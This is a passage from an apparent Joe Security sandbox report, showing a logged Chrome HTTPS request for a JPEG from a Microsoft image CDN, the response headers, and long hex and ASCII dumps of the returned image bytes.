29 49 6e 2a 4c 1d 33 18 ce de bd aa bd c5 af 9e a1 a4 c0 2b 90 31 f2 9f 7a 9a d6 c8 46 e5 fc c6 70 4f f1 76 ab 17 81 76 
3b 93 92 07 34 dd af a0 25 a1 46 2c db 20 20 e5 4e 06 49 e4 66 ac cc 62 9d 1e 31 22 b7 7e 99 39 ac a2 fe 72 9d b2 1d 
9c f6 e7 a5 47 67 3b ed 78 90 80 e8 32 33 de a9 d1 4f 53 2f 69 d8 b4 b6 ca 93 65 4b 14 e9 d2 a3 28 b2 a3 a1 00 32 f4 93 
bf e5 56 ad ee 56 75 05 99 43 77 52 2a b4 ca 23 b9 d8 21 ce 
Data Ascii: nzD<T1Tc>;!#Hx5=`2YAwK1*@]F>PA5UW2\ZlkaGVh[+Y&)In*L3+1zFpOvv;4%F,  NIfb1"~9rGg;x23OS/ieK
(2VVuCwR*#!

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

166 192.168.2.5 49937 80.67.82.211 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:55 UTC 2724 OUT GET /cms/api/am/imageFileData/RE4Fu2J?ver=29af HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive

2022-07-01 09:01:55 UTC 2789 IN HTTP/1.1 200 OK
Content-Type: image/jpeg
Access-Control-Allow-Origin: *
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4Fu2J?ver=29af
Last-Modified: Thu, 30 Jun 2022 05:29:45 GMT
X-Source-Length: 440991
X-Datacenter: northeu
X-ActivityId: e860963e-d134-4288-81ca-e51bde3b2332
Timing-Allow-Origin: *
X-Frame-Options: DENY
X-ResizerVersion: 1.0
Content-Length: 440991
Cache-Control: public, max-age=332864
Expires: Tue, 05 Jul 2022 05:29:39 GMT
Date: Fri, 01 Jul 2022 09:01:55 GMT
Connection: close

2022-07-01 09:01:55 UTC 2790 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 
03 03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 
15 15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 14 14 ff c0 00 11 08 07 80 04 38 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 
00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 
02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2022-07-01 09:01:55 UTC 3417 IN Data Raw: 74 ea 2a 42 84 73 f9 50 53 a7 1c 03 f9 53 11 11 5f 5e c2 82 06 e0 7e f7 6f d2 9e be dd 3b 52 a0 3b 7a 7d 6a 
ae 21 b1 8c 63 3e b9 f5 a5 c7 41 e9 c9 c7 6f 5a 7a af e4 28 31 f7 ec 29 0a c3 1c 65 b0 3a 54 7c ee c7 e0 6a 75 4e 9e b8 
e2 83 16 72 4f e9 c5 3b 93 62 24 01 b8 1c 11 f5 a0 8f 5f ca a5 54 01 71 d0 1e 82 9d b7 b8 fa 51 71 58 85 47 24 7d 69 c1 
48 e0 02 0f 6a 71 41 c9 c7 e1 ed 4f 0a 3a 1e 47 d3 da 8b 89 22 16 4d bc 7d 29 42 f7 f5 eb 52 b2 e7 a9 e6 80 09 6c 67 93 
45 c2 c4 3b 7a 11 d7 bd 0c 31 81 f8 54 87 e5 5e 78 e6 80 a4 f2 32 7d 29 93 62 25 03 69 cf d0 1a 93 18 6f ad 00 7c c4 71 
fe 4d 29 19 5e 38 f7 a6 21 a4 9d bf e7 34 b8 23 81 9a 76 dc 74 f6 a1 90 6d c0 fc a9 0a d7 0d a7 6e 3f ad 2e 3e 61 8e d4 
05 1d 33 c7 02 9c bf 77 de 82 84 6f cb 1c d3 76 1d c7 de 
Data Ascii: t*BsPSS_^~o;R;z}j!c>AoZz(1)e:T|juNrO;b$_TqQqXG$}iHjqAO:G"M})BRlgE;z1T^x2})b%io|qM)^8!4#v
tmn?.>a3wov

2022-07-01 09:01:55 UTC 3433 IN Data Raw: 81 0f 0d 9e 94 e0 7f 43 51 67 d3 db 1f 8f bd 3b 96 e7 3d e8 b8 34 48 30 38 39 a5 c8 1c fe 58 ef 51 06 2a c4 f4 
cd 2e f2 38 c6 78 38 1e d4 c2 c4 84 e3 ad 2a b7 a1 ff 00 eb 54 60 9d bd 73 c5 28 ea bf 4a 49 85 87 ee c2 e0 75 14 a0 e7 
fb a6 9a 3d f9 1d ff 00 1a 5c e1 bd 87 43 4c 07 6e c7 07 fc 9a 17 2b 4d db 9c 8f a5 00 fa f1 eb 47 41 75 1f 9e bd 7d a9 54 
e7 ad 37 71 a3 76 7f 0e 95 3b 15 b9 23 1c 73 fa d0 39 5c 67 ad 30 1f 9b dc 52 e4 1e bd e8 0b 12 06 cf 5e bd a9 c0 e7 f8 
70 6a 3c ee 5c f7 a5 cf 60 7d a9 dc 39 49 47 af 5e 7a 52 e7 a0 e9 9f 5a 89 4e 78 14 be e3 a7 39 26 9d c5 ca 4b 9c f5 e6 
94 1f 5f f3 8a 8c 70 bc f6 a7 7d 7a 52 b8 ac 4a 1b e5 cf 4a 37 77 a6 02 4f d6 94 1f f3 da 9e e4 0f c8 db ed 4b b8 72 0f 5f 
ad 46 1b fc f7 a3 77 ad 50 89 4f 1d 69 7c c1 d0 
Data Ascii: CQg;=4H089XQ*.8x8*T`s(JIu=\CLn+MGAu}T7qv;#s9\g0R^pj<\`}9IG^zRZNx9&K_p}zRJJ7wOKr_FwPOi|

2022-07-01 09:01:55 UTC 3442 IN Data Raw: a9 b9 fc e9 77 7e 74 0a c2 fa d2 51 91 40 3d 85 17 0b 05 3b 9a 6d 28 3f 35 3b 8a c2 fd da 37 52 64 d2 83 4e 
e2 b0 6e a3 dc d1 9c 71 47 34 ae 16 17 a7 14 0e 29 38 db cd 19 14 5c 2c 2d 14 9b bd 28 26 9d c5 61 de e6 8e 7f 03 49 
d2 8a 2e 16 0a 5c 9a 4a 28 b8 ac 28 34 74 e6 9b ec 28 fe 2a 2e 31 69 72 7a 52 51 4c 56 1c 4e ea 4d de b4 d0 69 73 9a 
43 e5 14 93 49 9e f4 67 b5 01 a8 b8 f9 45 cf 71 46 ea 32 29 bc 51 70 b0 ec fa 51 cd 21 34 99 14 5c 7c a3 bd c5 03 d6 93 
3d a8 cf 7a 57 0b 05 2e 73 c5 25 14 ee 3b 06 33 4b 8f ce 9b 91 4b bb de a6 e3 b0 be e7 ad 25 04 fa d1 9c d3 b8 0a b4 6e 
a3 26 92 a6 e0 2e 7d 29 33 8a 4d d4 b4 8a 0a 5c 9a 4a 33 de 80 17 26 8c e6 92 8a 02 c2 83 4a 39 a6 d2 e4 d3 21 8e a2 
9b ba 8a 2e 4d 8f 9f 97 25 73 ef df bf e3 4e c1 1f 9f 38 c5 30 67 
Data Ascii: w~tQ@=;m(?5;7RdNnqG4)8\,-(&aI.\J((4t(*.1irzRQLVNMisCIgEqF2)QpQ!4\|=zW.s%;3KK%n&.})3M\J3&
J9!.M%sN80g

Copyright Joe Security LLC 2022 Page 161 of 280



2022-07-01 09:01:55 UTC 3474 IN Data Raw: 15 9f 54 98 63 04 f9 98 29 11 f5 d8 0b 67 f8 c5 53 8b 8b e5 bf f9 9d 1c dc da a5 7f c9 7c fb 93 7c 52 f8 77 1f 83 
fe 02 ea 36 17 d2 19 ee 2c b5 04 b9 31 46 e2 57 0c eb 85 18 38 e4 e3 8c e0 63 f3 af 1a b3 f1 f7 8a fe 25 a5 a5 87 85 b4 
c9 3c 05 a5 dd a4 70 36 ad 0b 19 b5 39 d4 1f bb e7 ed 09 02 91 da 35 24 ff 00 7c 57 af f8 c7 e0 fe 91 f0 57 e0 2f 8c e3 8a 
fe 5b 99 b5 1b bb 5b bb fd 43 52 b8 df 2d c4 a2 40 bb 99 9d 89 2d b4 f4 c9 3c 71 9e 95 c6 f8 77 f6 8e f8 7d f0 9f e1 fe 95 
a6 a5 ad c7 8b 3c 4d 65 1b 33 da e9 68 ab 0c 12 13 c9 9e e5 b1 1a 60 63 3c b1 f6 e2 b1 9f 24 5f 2a df ce c2 a7 37 2b b9 
6d e4 7b 6f c2 9f 84 5a 3f c3 16 b7 7d 23 46 12 ea 44 ef b9 d4 2e 49 6b 89 e4 2a 46 f6 90 e4 f3 92 0f 7a 2b f3 e3 e3 b7 fc 
14 1b c6 3e 2d 6b 8d 3e c3 59 83 49 d3 df 
Data Ascii: Tc)gS||Rw6,1FW8c%<p695$|WW/[[CR-@-<qw}<Me3h`c<$_*7+m{oZ?}#FD.Ik*Fz+>-k>YI

2022-07-01 09:01:55 UTC 3490 IN Data Raw: b2 6a 1a 6d b1 5d 2d 24 11 32 88 56 53 fe b2 52 09 39 e7 21 4f 26 bd 43 c0 ff 00 b3 c6 85 17 86 fc 3f e3 8f 8b 
3e 26 b8 f1 5f 93 a7 db c9 65 16 b7 2f 95 a7 d8 42 63 0d 1c 4b 1f f1 b0 52 38 03 93 d8 d7 37 fb 44 7c 42 f0 04 7f 0f 34 af 
04 78 2e de cd 74 9d 2f 52 5b b7 b9 b7 8f cb b2 56 48 dd 76 ae 79 95 89 6e 5c e7 a7 53 5f 35 78 eb f6 8f 9b 53 fb 1b 4d 
73 73 e2 4d 46 ca 35 86 db ed 6c 5a 08 51 57 0a 16 3e 00 c2 8c 74 1c 7a f6 b8 46 ad 7b 46 8a bd ba bf 4d fa 69 d1 6a bb 
dd 9c 55 2b 53 83 f7 fd 2d f3 7b f9 f5 db ca c7 d4 1f b4 17 c6 ed 0b c6 de 0f 8b c2 be 1c b4 30 e9 b6 37 d0 dd 36 ab 74 16 
0b 68 c4 68 db 52 38 ba 85 3b ba 90 3d 85 7c bd e3 4f da 2a 3b a4 b5 8b 54 d5 2f bc 59 71 65 0f 91 6f 0c f3 14 b6 81 54 
61 02 0d bd 80 e4 81 c8 ef 5e 6f a9 d8 f8 b7 c6 
Data Ascii: jm]-$2VSR9!O&C?>&_e/BcKR87D|B4x.t/R[VHvyn\S_5xSMssMF5lZQW>tzF{FMijU+S-{076thhR8;=|O*;T/Y
qeoTa^o

2022-07-01 09:01:55 UTC 3498 IN Data Raw: ad c7 8c 2e ef ef c8 b5 93 ec 90 20 dc b2 47 12 a9 dc 3d 40 00 6d f6 c7 f2 ad 6f 09 68 3a ff 00 8a a1 96 57 37 
5a 83 97 09 e5 b4 a5 87 27 0a 01 27 03 27 9f a7 d2 8b 69 f4 7b 6d 41 25 d0 4f 9f 6b 9f 2c dd 6a 16 6b 19 60 57 27 74 6c 
ce a0 0f 51 8c e6 ab 5f 78 ea fb 49 fb 5d a6 95 77 2d b6 98 4a a1 58 4b 46 1d 88 c3 36 54 83 83 ce 3b 60 74 a5 24 da e5 
a6 be f2 63 25 16 a5 51 df d0 e9 b5 2f 85 37 da 04 9a ab 6a 77 7a 3e 85 1c 91 aa 22 4d a9 c0 6e 0a 05 cb 13 18 7d dc f5 
e3 92 78 c7 35 cc 49 6d e1 2d 26 cc 86 bb be d4 3f 74 1a da fe 15 58 0b b8 20 ed f2 d8 12 00 39 07 e6 19 e4 fb 56 7d af 
87 4d fd a7 9e 96 52 bc ce f8 da b2 13 db be 41 3f e7 35 d0 ea 3f 06 75 5d 2f 47 b7 d4 b5 53 6f a7 43 2b 0d 96 e6 e2 39 
9d be 5c 81 84 63 82 7b e7 18 ee 2a 55 96 93 9f f5 f8 
Data Ascii: . G=@moh:W7Z'''i{mA%Ok,jk`W'tlQ_xI]w-JXKF6T;`t$c%Q/7jwz>"Mn}x5Im-&?tX 9V}MRA?5?u]/GSoC+9\c{*U

2022-07-01 09:01:55 UTC 3774 IN Data Raw: 4a e1 40 3f c2 a3 d4 fa 0e 4d 7b 37 84 fc 0f 61 e3 ef 82 d6 57 37 71 6a 57 10 f8 77 53 96 c2 7b 7d 32 13 35 dc 
e1 8e f8 a2 40 01 c6 ef ba 0e 0e 32 4e 0d 75 97 5e 0a 6f 01 fc 68 93 c3 90 f8 52 d3 43 bc 83 41 1a f4 30 dc 5c 1b c1 6d 
ba 11 22 c4 aa ca 14 48 aa 1b 2f 96 c3 72 a4 63 8f 76 75 2e f9 6d 76 79 70 a7 cb 25 d1 1b 16 9f 0f 6e be 26 7e ca 07 51 
b9 b6 b8 b3 bf d0 35 46 b7 16 72 9d 8c b6 ec be 62 31 50 72 b9 0e c3 69 ea 3f 0a c9 b0 b1 4d 01 a2 f0 ff 00 86 2d 23 d4 
3c 44 63 53 3c d2 1c 5b d8 21 03 0d 2b 0e 84 0e 44 63 93 ec 39 af 5e fd 97 3c 71 63 e3 ab ef 88 1e 06 b4 cd cc 57 7a 2b 
5f c5 72 0e e5 96 ea 06 1b d1 49 fb ec 55 f9 61 c0 c7 7e 48 c1 f0 c4 9a 67 c3 cb 18 b4 db 4d 2c df ea c6 ea 54 b6 d1 e1 
e6 6b 97 0c 55 a5 91 8e 4a a0 3c b4 8f c0 19 1c 9c 02 
Data Ascii: J@?M{7aW7qjWwS{}25@2Nu^ohRCA0\m"H/rcvu.mvyp%n&~Q5Frb1Pri?M-#<DcS<[!+Dc9^<qcWz+
_rIUa~HgM,TkUJ<

2022-07-01 09:01:55 UTC 3790 IN Data Raw: d9 d3 ee f4 ef 12 da c9 71 a4 5e db ea 30 c7 c3 8b 79 01 64 3e 8c bd 54 fb 11 50 cf 64 76 f4 af 97 bc 2f fb 42 
69 7f 6e 0d e2 7d 1e 5d 03 57 c8 ce b3 a5 82 aa c7 fb cd 8e 7f a7 b5 7b 5d 8f c5 cb b7 b1 4b cb 4f b0 f8 e3 49 c0 2d 25 8c 
cb 05 ec 4b 8e e0 8d af f8 80 7d eb e8 e8 e3 94 be 23 96 54 d3 d8 e9 a7 b5 c7 18 e7 a7 b5 51 9e df e6 23 f1 ae 83 46 d4 
2c fc 59 a2 45 aa d8 c5 73 04 12 92 be 55 dc 5e 5c a8 c3 a8 65 c9 e9 ea 09 07 d7 ad 45 3d 81 e7 19 22 bd 68 cb 99 5d 
1c b2 a6 72 d3 5b 1e a2 aa 49 0e 7e b5 d2 4f 60 db 78 1f 8d 53 6b 06 63 8d 9c e7 d2 ae e6 0e 27 3e f0 f5 c0 3f 5a 85 e2 
cf 3f 85 74 92 68 f2 a4 66 49 47 95 18 c9 32 48 42 8c 77 3c e3 8a e6 35 8f 19 78 57 44 72 92 eb 70 de ca bc 34 5a 68 37 
0c 09 e7 19 1c 7e b4 18 37 14 21 8c 8e 48 a5 08 7d 2b 
Data Ascii: q^0yd>TPdv/Bin}]W{]KOI-%K}#TQ#F,YEsU^\eE="h]r[I~O`xSkc'>?Z?thfIG2HBw<5xWDrp4Zh7~7!H}+

2022-07-01 09:01:55 UTC 3838 IN Data Raw: 0f 0e 5b 43 71 a9 4b 2f 96 96 d3 7c a4 80 33 95 55 c1 27 b7 5a f6 6b 4d 39 75 88 4d ac 1b a2 8a 48 d6 58 56 
46 dd c0 1f 32 6e 19 e0 63 21 4d 73 32 35 cf 82 7c 45 a5 6a f6 36 f6 f3 dd 41 72 93 c4 44 41 be 75 20 83 ce 09 c8 18 23 
bd 54 61 16 ad 7d 4e 49 d6 97 36 a7 4f f0 1f e0 ad e7 8d bc 2f ab da 78 8f 54 bc b2 d7 75 3f b4 59 9b 1b 28 c2 f9 10 91 
1c 82 e0 00 a7 18 74 2b f3 11 93 c6 78 ab 1f 1e 7f 66 3f 06 fc 0f f0 96 99 05 a6 b1 79 ac 78 e3 5b 94 c7 6d 6f a9 5c 6e 49 
6d d4 12 ce ca 17 0a 37 00 01 ee 73 e8 6b de be 16 fc 5c f0 e7 82 ee 3c 6b e2 bd 42 f2 c4 5a 5f 5b 47 a9 4c b1 c4 c1 d6 
4d b9 6b 78 d4 13 fc 4c 00 1c e4 9a f0 6f 1b 4f 37 8d 7c 23 e2 7f 8a 9f 10 ad be cf e2 4f 13 44 d0 f8 5e c4 cc 63 fe c9 d3 
62 61 be e7 6b 60 e0 0c 2a 9e e5 98 f7 af 1a a4 7d 
Data Ascii: [CqK/|3U'ZkM9uMHXVF2nc!Ms25|Ej6ArDAu #Ta}NI6O/xTu?Y(t+xf?yx[mo\nIm7sk\<kBZ_[GLMkxLoO7|#O
D^cbak`*}

2022-07-01 09:01:55 UTC 3933 IN Data Raw: cf 82 38 cf 22 10 77 73 d0 36 7b f6 3c fe 55 ad 67 04 eb 0c b6 b9 0e e7 73 28 3e fc 8f c0 74 af 47 fb 4b 1b 52 
3c 92 ab 26 9f 9b 3c fa 98 6c 35 39 73 42 9c 53 f4 57 2b ea 50 c6 ba 7b c9 75 14 77 16 f2 66 27 0b 12 81 b4 8c 1c 8f 43 
e8 31 5f 3d 7c 11 f0 1c 57 1a 67 8c 74 2f 0f 78 83 5c f0 dd ad 9e b7 32 da b6 9f 74 44 71 46 5b 21 16 27 0c 08 04 10 d9 
c3 72 39 15 f4 7e a1 12 5c 78 6a e2 de e4 84 46 50 24 cf dd e9 8f 62 0e 7a 7b d7 9b 7c 0c d0 ff 00 b3 fc 43 f1 0a 16 3e 
61 1a c6 f2 cb d4 3b 44 8c 55 b9 3f de ce 31 91 93 c9 a7 09 4f d9 ca 29 ef 67 6e 9a 1c f5 23 19 da 72 5b 5d 19 ba 87 c2 
6d 7e fa e6 3b dd 2f e2 5e b5 6b ab d8 97 58 24 9e ce d6 68 dd 58 ae e0 e0 c6 37 12 54 73 d4 11 ee 73 87 6f 6b f1 82 fb 
c4 1a b7 85 20 d6 f4 7f b6 98 20 d4 57 56 9a d5 ad 99 
Data Ascii: 8"ws6{<Ugs(>tGKR<&<l59sBSW+P{uwf'C1_=|Wgt/x\2tDqF[!'r9~\xjFP$bz{|C>a;DU?1O)gn#r[]m~;/^kX
$hX7Tssok  WV

2022-07-01 09:01:55 UTC 3949 IN Data Raw: 1e 59 2e 25 99 e6 92 5c 8c 96 23 ae 3d cf 5a f6 b6 bd b3 b0 f8 53 a8 c5 ac 45 25 85 f5 c4 32 b4 62 e0 b1 85 f7 
9d ca c8 46 57 71 07 82 08 27 a6 2b c2 7c 3d 1c f2 5b c8 c9 10 95 f2 06 d6 00 82 4f 63 9e 3e 95 ee 60 5b 70 9a 7d cf 2b 
14 94 65 1b 75 47 a3 7c 23 99 1f 4a d4 20 63 86 69 b2 0b 36 01 e9 8c 03 dc 74 c8 e7 07 15 7f e2 88 c2 e9 6d 18 58 dd 
37 a9 ea fc 15 03 b6 0e 38 18 e9 52 f8 2e ca 48 74 9b 74 3a 5c 50 5c 26 7c d9 30 b1 b7 19 20 12 79 e9 8e 9c fe 7c 60 6a 
be 21 97 59 d5 27 86 58 0c 11 c7 1b 15 94 90 f2 13 83 fc 47 01 17 b7 4e 05 5f c5 55 c9 74 0f 86 92 8b 39 58 ae d7 4f fe 
c8 b8 79 0a 42 24 7f 37 1c ed 04 00 08 1d 47 71 93 de be 87 f0 7f c4 ef 0c e9 f7 5a 5a dd eb 91 c0 25 b1 58 53 6c 06 e0 
bc 85 c6 70 33 95 61 c6 72 46 72 0f 6a f3 0d 33 43 b4 f0 
Data Ascii: Y.%\#=ZSE%2bFWq'+|=[Oc>`[p}+euG|#J ci6tmX78R.Htt:\P\&|0 y|`j!Y'XGN_Ut9XOyB$7GqZZ%XSlp3arFrj3C

2022-07-01 09:01:55 UTC 4362 IN Data Raw: 53 cb f1 91 a9 35 35 17 a3 b2 77 b3 ea bd 37 3c df 11 32 3c b7 8b b8 7e b6 0b 0b 88 8c eb c5 a9 d3 53 f8 79 
a2 fa eb a2 69 b8 de fb 33 62 ea d6 08 ef 4f d9 9a 66 b7 2d f2 ee 93 9d be a4 7f 4a d3 d1 f5 89 fc 3f aa 59 df da 33 09 2d 
a4 12 af cc 46 70 72 41 c7 a8 e2 bc c8 fc 4a f0 60 8c 32 fc 4a b1 c8 38 c4 96 b2 28 19 1e bc 8f d2 b4 b4 ff 00 16 e8 5a 85 
9c b7 36 3f 10 34 7d 49 a1 dc 5e 38 a2 97 68 c0 c8 0c de 59 0a 3d c9 af d5 6a 71 be 47 08 28 d6 a9 2b 35 6d 62 ff 00 1d 
0f e0 fa be 10 71 85 3a aa ad 2a 74 f9 93 ba e5 ab 1d 1d f4 b5 e5 a5 ba 1e cb e1 bf 8c fa 5c df b5 27 c4 cd 5b 49 d7 34 c8 
2d ae 3c 3b a7 5b 21 d5 a4 31 a4 57 11 30 0d 11 52 c8 59 93 79 24 03 d0 e7 27 35 63 c5 3f 19 fe 37 cb 75 b3 44 93 e1 
ae a7 65 9c 19 ac f5 09 92 70 0f fd 32 69 48 63 c8 
Data Ascii: S55w7<2<~Syi3bOf-J?Y3-FprAJ`2J8(Z6?4}I^8hY=jqG(+5mbq:*t\'[I4-<;[!1W0RYy$'5c?7uDep2iHc

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 4410 IN Data Raw: d2 ba 0d 27 c3 9e 22 f8 81 a8 5e e9 be 0e d0 ef bc 40 be 53 47 24 b0 c4 cb 14 6c 48 f9 9a 43 81 d4 74 27 db 
35 26 b7 f0 97 c5 1f 03 b5 48 3c 53 ad c7 68 13 e6 86 5b 7b 52 66 16 ae cb 85 66 f9 40 38 ee c0 9c 13 8f 4a f3 dd 48 af 
72 4f 57 d2 e7 57 b2 6d f3 45 68 ba 98 33 40 3e d5 a5 cb 14 97 3a 56 95 73 38 99 ed 4d dc 82 0b 92 1f e6 7d a0 80 b9 1d 
56 be ec f8 59 6b 67 07 87 ad 0e 8d 04 17 b6 60 b7 9b b6 35 60 8e 58 8f 98 95 f9 41 18 23 07 d7 8a f8 23 c5 da e7 95 75 
61 02 dc 35 fc a9 12 b8 bb 0c a2 25 04 76 04 fc b8 ce 31 9a fa 43 e0 bd f7 8a 35 6f 02 db e9 96 5a dd 8e 99 6a 5b ce 13 
5b c1 34 b7 4e cd c0 3b 94 81 b7 8e fc 57 cf 67 14 ff 00 d9 e3 36 ec af fd 79 9e d6 5b 2f de ca 9d ae cf a1 b5 23 6b 7b 6d 
71 67 75 a6 44 a8 cf 8d b7 11 12 18 00 0f ca c4 00 31 
Data Ascii: '"^@SG$lHCt'5&H<Sh[{Rff@8JHrOWWmEh3@>:Vs8M}VYkg`5`XA##ua5%v1C5oZj[[4N;Wg6y[/#k{mqguD1

2022-07-01 09:01:55 UTC 4466 IN Data Raw: 68 2e 6e b4 d8 58 e5 a3 73 0c aa 56 4c 8c 80 cc b2 13 8f 44 cf ad 76 1e 27 f1 87 8d 7c 2d f0 5e df c4 3a 1d 94 
5a 77 87 a2 df a5 49 aa 79 ed 35 ee d0 7c b5 99 14 7c a9 19 20 a8 6c 92 36 e3 8c 83 5b ff 00 b4 57 86 ed 97 f6 79 b4 b0 
b1 8c bc 36 90 5a dd 09 df 89 25 3b 7e 69 39 24 96 63 29 2c 09 27 2e 79 3c 9a f5 f2 f7 3a 55 e1 52 b2 57 95 e3 e9 f7 7c 
b4 39 f1 49 54 8c a9 d3 7a 47 5f 99 e4 fe 15 f1 16 a7 a0 6b 7a 5d de 9e 65 12 c4 8b 12 ac 8c 5d 19 71 e6 2a 8c f0 07 c9 
81 8e 46 e3 ef 55 fe 2b e9 8f 65 f1 2b c4 7a 55 be a3 aa 7d b4 4b 2e ab a6 47 e6 e5 59 2e a3 8a 66 00 72 36 82 42 9e d8 
e7 03 a9 a3 6e d2 5c 5a e9 05 63 63 1e 2d dc c8 ac 49 22 43 b4 6d 07 39 3f 37 e3 5d 97 c7 8f 0c 78 9d 97 c0 9a de 91 a7 
ea 5a a4 cd a4 e9 d3 cd 73 6f 67 24 92 41 73 0c 4d 1b 
Data Ascii: h.nXsVLDv'|-^:ZwIy5|| l6[Wy6Z%;~i9$c),'.y<:URW|9ITzG_kz]e]q*FU+e+zU}K.GY.fr6Bn\Zcc-I"Cm9?7]xZsog$A
sM

2022-07-01 09:01:55 UTC 4482 IN Data Raw: 32 97 d5 e7 1a 9c cf 5b ad 75 fe bb 9e cf e1 ff 00 05 0f 15 ae 93 ac db 4b 2c 5a 59 9e 4d 93 28 f3 8c 41 57 04 
63 20 96 ce 54 64 0e 49 e0 f2 6b 84 f1 ee 83 65 fd a1 22 4f 3a db 8d ac f2 9b 9b 85 4c 6d 6f ee 8c 96 1c 90 02 82 49 e7 
da 99 a1 fc 43 73 71 3c 5a 38 bb d2 e4 b8 05 63 92 49 96 18 de 30 36 b3 ba 95 2e 46 dc 83 8d bd b9 18 ae bb c3 7f 0c 
1b 5f d1 d2 ee c4 e9 f7 11 30 55 7b 86 b8 0e 20 19 24 86 c1 c8 63 d7 6e 01 39 ed 5d 7e d2 70 93 72 7a 0d f2 d5 8a 50 57 
66 bf 81 3e 25 e8 5f 0c 6e 0d ee 97 24 9a 8d e3 5a 24 8d 14 2a c5 52 40 9f 3a c6 87 27 18 50 dc 83 9f ef 56 9f 87 3c 31 
e3 2f 1f 78 aa 3f 1a e8 5a 14 96 b6 d7 12 9b f9 af b5 21 0c 1e 72 ed db 22 24 79 6c b1 23 e5 1d 37 0c 96 19 38 e0 3e 1f 
e9 d0 6a 3e 26 d4 2c a5 76 b1 9e cd 25 53 34 aa aa 92 ed 
Data Ascii: 2[uK,ZYM(AWc TdIke"O:LmoICsq<Z8cI06.F_0U{ $cn9]~przPWf>%_n$Z$*R@:'PV<1/x?Z!r"$yl#78>j>&,v%S4

2022-07-01 09:01:55 UTC 4562 IN Data Raw: 43 04 2a 59 a4 97 e5 55 03 b9 3c 01 5e 55 67 a5 da 5f 43 1b ea d6 d7 12 cd b0 61 ad 6f 65 0a ac 07 f7 43 0e 
09 f5 1c d2 58 78 67 47 b7 c3 fd 8e 39 0e e2 ef 9b 89 5c 0c 7a 06 62 01 3f 95 7a 11 cc 53 82 bc 35 fc 3f 23 82 59 7b 53 
7e fb 4b fa f3 13 5a f1 3c 1a a5 d4 eb a3 d9 98 e0 40 ca 3f 7d e5 bc cc 4e 0b 0e 48 50 47 23 b9 aa a9 a9 4a d6 b2 25 c4 
72 5c 2a 00 06 76 b1 c0 eb 82 70 38 c0 eb d6 b7 63 86 d1 5d 4d bd ba 45 1b 70 73 bb 38 f6 20 ff 00 4a 95 a6 88 18 f2 20 
55 3c 10 79 20 f4 c9 15 e4 b9 4a ed b6 b5 3d 98 b8 41 28 a8 bf 9e e7 ce 9e 2d f0 fe a9 7b e3 cd 72 f2 0d 1e ea 7b 0b 81 
a7 bc 72 25 b8 f9 4c 6a fb b6 b0 e7 3b 88 cf 5e 2b d0 74 e9 0d c5 e2 de ca 6f 23 bb ca 9f b3 4b 10 05 0f 95 b1 80 24 80 
41 3c f5 ce 45 77 f7 0b 22 b6 e4 58 c6 d6 19 3d 07 07 93 
Data Ascii: C*YU<^Ug_CaoeCXxgG9\zb?zS5?#Y{S~KZ<@?}NHPG#J%r\*vp8c]MEps8 J U<y J=A(-{r{r%Lj;^+to#K$A<E
w"X=

2022-07-01 09:01:55 UTC 4595 IN Data Raw: 9f e8 be 24 bb 50 01 e0 85 39 e3 8e e3 9a e7 b4 6f 8e 9a 7e 97 79 71 7c df 0d f4 fb 9b d9 49 22 ee e3 c5 17 
45 b9 eb 9c 8e 4e 3f 88 1c fd 6b 1f ec f6 af ae fe 6b fc c7 2c 4d 29 7c 2e eb d1 ff 00 91 f5 7e bd e3 8f 89 77 92 69 da 95 
b7 87 26 d1 f4 28 d8 9d 4a 1b 9d 4f 4f 97 74 60 64 14 63 82 58 9e 4e 4f 4e 00 ef 55 2e 3c 53 f0 db c4 3a b5 85 ce b9 67 
a8 3f 88 b2 c9 1b 43 73 72 52 09 18 6d dc 5a 33 f2 2f 4f 98 0f ce be 44 f8 85 f1 d3 58 f1 5a 41 15 a7 87 f4 dd 2a d6 10 04 
71 2e af 3d c1 1e a1 8b b1 18 f7 00 1a c9 d0 3e 2a 4b a5 26 07 83 b4 7b d9 a4 70 cd 35 cd e4 9b 94 8e bb 59 58 1c 67 
9e 4d 65 0c b5 ad 53 51 7e 4f fe 08 a5 8c 8d dc 75 6b e7 fa 23 ed cf 09 fe cd be 1b bc d5 9a e7 c5 de 20 b9 d7 ee 63 7f 
36 0b 38 b5 b9 da 08 94 e4 ac 6e 08 57 60 39 e4 b1 cd 
Data Ascii: $P9o~yq|I"EN?kk,M)|.~wi&(JOOt`dcXNONU.<S:g?CsrRmZ3/ODXZA*q.=>*K&{p5YXgMeSQ~Ouk# c68nW`9

2022-07-01 09:01:55 UTC 4651 IN Data Raw: 7f cc d7 4b a7 fc 40 d4 ef 92 48 2c af 74 8b 38 c9 21 7e cb a0 c3 13 fb 00 7c 90 3a 7a d7 22 e2 0a c9 7b cf ee 
4b fc d1 d8 f2 5a 6e 4a da ff 00 db cf fc 8e 93 fe 16 17 c3 ad 26 1f b5 1d 33 c4 57 57 1c e2 1b 5b 78 a3 0c 7d 8b cb 8c fd 
